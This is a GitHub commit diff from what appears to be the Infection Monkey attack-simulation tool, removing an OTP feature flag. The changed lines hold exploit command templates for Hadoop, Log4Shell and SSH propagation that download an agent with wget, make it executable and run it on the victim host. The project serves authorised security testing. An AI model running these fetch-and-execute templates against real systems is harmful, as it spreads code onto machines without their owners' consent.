Skip to content

Commit 6ad62ce

Browse files
committed
Merge branch '3078-remove-feature-flag' into develop
Issue #3078 PR #3209
2 parents dbef149 + 4aef716 commit 6ad62ce

File tree

5 files changed

+7
-27
lines changed

5 files changed

+7
-27
lines changed

monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,9 @@
3636
HADOOP_LINUX_COMMAND_TEMPLATE = (
3737
"wget --no-clobber -O %(monkey_path)s %(http_path)s "
3838
"|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "
39-
"; chmod +x %(monkey_path)s "
40-
"&& %(agent_otp_environment_variable)s=%(agent_otp)s "
41-
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
39+
"; chmod +x %(monkey_path)s ;"
40+
" %(agent_otp_environment_variable)s=%(agent_otp)s "
41+
"%(monkey_path)s %(monkey_type)s %(parameters)s"
4242
)
4343

4444

monkey/infection_monkey/exploit/sshexec.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -240,8 +240,8 @@ def _propagate(self, ssh: paramiko.SSHClient):
240240
raise FailedExploitationError(self.exploit_result.error_message)
241241

242242
try:
243-
cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} ;"
244-
cmdline += f" {monkey_path_on_victim} {MONKEY_ARG}"
243+
cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} "
244+
cmdline += f"{monkey_path_on_victim} {MONKEY_ARG}"
245245
cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1)
246246
cmdline += " > /dev/null 2>&1 &"
247247
timestamp = time()

monkey/infection_monkey/model/__init__.py

+2-5
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
1-
# TODO: Remove this before closing #3077
2-
OTP_FLAG = "AGENT_OTP_FLAG"
3-
41
MONKEY_ARG = "m0nk3y"
52
DROPPER_ARG = "dr0pp3r"
63
ID_STRING = "M0NK3Y3XPL0ITABLE"
74

85
# Username prefix for users created by Infection Monkey
96
USERNAME_PREFIX = "somenewuser"
107

11-
SET_OTP_WINDOWS = "set %(agent_otp_environment_variable)s=%(agent_otp)s &&"
8+
SET_OTP_WINDOWS = "set %(agent_otp_environment_variable)s=%(agent_otp)s&"
129

1310
# CMD prefix for windows commands
1411
CMD_EXE = "cmd.exe"
@@ -41,8 +38,8 @@
4138

4239
LOG4SHELL_LINUX_COMMAND = (
4340
"wget -O %(monkey_path)s %(http_path)s ;"
44-
"%(agent_otp_environment_variable)s=%(agent_otp)s ;"
4541
"chmod +x %(monkey_path)s ;"
42+
" %(agent_otp_environment_variable)s=%(agent_otp)s "
4643
" %(monkey_path)s %(monkey_type)s %(parameters)s"
4744
)
4845

monkey/infection_monkey/monkey.py

-5
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,6 @@
100100
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
101101

102102
from .heart import Heart
103-
from .model import OTP_FLAG
104103
from .plugin_event_forwarder import PluginEventForwarder
105104

106105
logger = logging.getLogger(__name__)
@@ -174,10 +173,6 @@ def _get_arguments(args):
174173

175174
@staticmethod
176175
def _get_otp() -> OTP:
177-
# No need for a constant, this is a feature flag that will be removed.
178-
if OTP_FLAG not in os.environ:
179-
return OTP("PLACEHOLDER_OTP")
180-
181176
try:
182177
otp = OTP(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE])
183178
except KeyError:

monkey/tests/unit_tests/infection_monkey/test_monkey.py

-12
Original file line numberDiff line numberDiff line change
@@ -4,14 +4,12 @@
44
from tests.data_for_tests.otp import TEST_OTP
55

66
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
7-
from infection_monkey.model import OTP_FLAG
87
from infection_monkey.monkey import InfectionMonkey
98

109

1110
@pytest.fixture(autouse=True)
1211
def configure_environment_variables(monkeypatch):
1312
monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, TEST_OTP.get_secret_value())
14-
monkeypatch.setenv(OTP_FLAG, True)
1513

1614

1715
def test_get_otp(monkeypatch):
@@ -23,13 +21,3 @@ def test_get_otp__no_otp(monkeypatch):
2321
monkeypatch.delenv(AGENT_OTP_ENVIRONMENT_VARIABLE)
2422
with pytest.raises(Exception):
2523
InfectionMonkey._get_otp()
26-
27-
28-
def test_get_otp__feature_flag_disabled(monkeypatch):
29-
try:
30-
monkeypatch.delenv(OTP_FLAG)
31-
except KeyError:
32-
pass
33-
34-
# No need for a constant, this code is testing a feature flag that will be removed.
35-
assert InfectionMonkey._get_otp().get_secret_value() == "PLACEHOLDER_OTP"

0 commit comments

Comments
 (0)